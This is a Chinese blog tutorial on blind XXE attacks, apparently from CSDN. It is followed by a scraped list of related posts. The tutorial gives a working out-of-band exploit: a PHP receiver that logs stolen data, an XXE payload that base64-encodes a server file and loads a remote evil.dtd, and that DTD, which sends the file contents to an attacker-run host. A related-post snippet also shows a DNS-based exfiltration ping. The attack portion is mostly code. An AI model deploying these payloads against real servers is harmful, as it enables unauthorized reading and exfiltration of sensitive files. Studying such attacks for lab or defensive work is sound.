今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE无回显攻击详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、XXE无回显攻击简介

在XXE漏洞详解(三)——XXE漏洞实际运用一文中,我们讲解了XXE漏洞在目标站点站点存在回显的情况下如何利用。但是,有时目标站点只会接收并处理我们上传的XML文档,但是并不会将处理结果显示在页面上。我们把这种情况称之为无回显的XXE漏洞。
针对这种情况,我们的思路有两种,一种是让Web服务器访问我们自己搭建的一个站点,将目标文件进行Base64加密后当作访问站点时的一个参数携带,这样我们就可以接收信息了。另一种思路是使得Web获得敏感文件数据后,访问一个不存在的地址,这样在页面上会产生报错,我们也可以获得信息了。

二、XXE无回显攻击实战

下面,我们就进行XXE无回显的攻击实战。
我们首先来搭建一个可以获取信息的站点,PHP代码如下所示:

<?php
$data=$_GET['data'];
$fp = fopen('data.txt','a');
fwrite($fp,$data);
fclose($fp);
echo "<user><username>admin</username><password>admin</password></user>";
?>

在上述代码中,PHP会接收以GET方式传入的data变量值,并将这个变量值写入本地的data.txt文档,并且还会返回一个XML格式的数据。假设这个站点IP地址为192.168.136.1(本地实验使用,真正实战中因该为一个公网IP地址)。那么我们的EXP如下所示:

<!DOCTYPE updateProfile [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./doLogin.php"><!ENTITY % dtd SYSTEM "http://192.168.136.1/test/evil.dtd">%dtd;%send;
]>

而http://192.168.136.1/test/evil.dtd文件的内容是:

<!ENTITY % all"<!ENTITY % send SYSTEM 'http://192.168.136.1/test/receive.php?data=%file;'>"
>
%all;

这样,我们将上述EXP输入后,查看本地data.txt文件,结果如下所示:

此外,如果我们把http://192.168.136.1/test/evil.dtd文件中的IP地址改为一个根本不存在的IP地址,那么就会在页面上产生报错,也可以将获得的信息显现出来,如下所示:

原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

XXE无回显攻击详解相关推荐

  1. java 多级级联菜单回显_详解element-ui级联菜单(城市三级联动菜单)和回显问题...

    代码最下面 各项的参数截图 代码如下 v-model="ruleForm.censusLand" style="width:180px;padding-left:7px; ...

  2. mysql注入 无回显_XML外部实体注入2:无回显的XXE

    生如夏花之绚烂,死如秋叶之静美. -- 泰戈尔 <生如夏花> 0 1 XML基础 XML 首先要先说下 xml.xml 是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种 ...

  3. mysql注入 无回显_33. 注入信息无回显?(给盲注戴上眼镜)

    注入信息无回显?(给盲注戴上眼镜) 工具简介: 平常的漏洞检测或漏洞利用需要进一步的用户或系统交互.但是一些漏洞类型没有直接表明攻击是成功的.如Payload触发了却不在前端页面显示.(像ssrf,X ...

  4. 翻译文章 | Just gopher it!无回显SSRF升级为RCE

    前言: 发现此漏洞的bug bounty团队不允许公开披露,因此我不会直接命名所涉及的程序. 我能说的是,这是在Hackerone运行时间最长.规模最大的bug赏金活动中发现的.多个Hackerone ...

  5. 浅谈PHP无回显命令执行的利用

    本文首发于先知社区 前言 在CTF题或在一些渗透测试中往往会遇到没有回显的命令执行漏洞,为了能更好的实现对无回显命令执行漏洞的利用,我对此进行了简单总结. 判断方法 命令执行可能会存在命令执行但没有回 ...

  6. RCE篇之无回显rce

    原文链接:http://arsenetang.com/2021/07/23/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%9B%9E%E6%98%BErce/ RCE篇之无回显r ...

  7. python处理回显_Python中getpass模块无回显输入源码解析

    本文主要讨论了python中getpass模块的相关内容,具体如下. getpass模块 昨天跟学弟吹牛b安利Python标准库官方文档的时候偶然发现了这个模块.仔细一看内容挺少的,只有两个主要api ...

  8. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  9. 命令执行无回显的一些姿势

    前言 最近演练遇到了拿shell后,由于是延时注入,让我极其难受.于是,学习了一下命令执行无回显的一些姿势 windows环境 1.ping %USERNAME%.2plmqc.dnslog.cn 这 ...

最新文章

  1. U3D MonoBehaviour
  2. 移动端字体单位该使用px还是rem?
  3. Java中六大时间类的使用和区别
  4. 华为手机logcat不出日志解决方案
  5. SpringAOP xml 方式和注解简单实现日志处理
  6. php浏览服务器某一文件夹内容,php删除web服务器中指定目录下的指定格式的文件...
  7. 基于Java+SpringBoot+vue+element实现校园闲置物品交易网站
  8. 办公软件 -- Office 365免费下载安装
  9. mysql中用来取余数的函数是_mysql数学函数有哪些?
  10. 谷歌浏览器部分iframe页面无法打开,跨域问题
  11. RFID和NFC的区别 以及门禁卡和饭卡
  12. 小白学习编程遇到问题应该如何正确的提问
  13. proftpd服务器搭建
  14. 在vs中char类型的实参与LPCWSTR类型的形参类型不兼容怎么解决?
  15. java导出excel文件(标题为中文乱码)
  16. MATLAB的水果分级系统
  17. **PAT_甲级_1057 Stack (30分) (C++)【字符串处理/栈的模拟/树状数组】
  18. oracle substr clob,sql – 在CLOB上的SUBSTR的性能
  19. html内嵌框架怎么写,在HTML网页中,内嵌框架的标签代码是()。
  20. 瑞吉外卖-2022微信小程序点餐项目

热门文章

  1. sql server更改列名
  2. vue cli3 默认端口修改
  3. 电源滤波电容的选取和选择
  4. python数组追加值_python数组追加
  5. python怎么输入多维数组_Python的多维空数组赋值方法
  6. Google Pixel 3刷 Android12 预览版的过程
  7. 蓝牙等级、发射功率、射程范围
  8. css3 3d效果案例:两面翻转的盒子
  9. 互联网+时代的创业机会与建议
  10. NumPy最详细入门笔记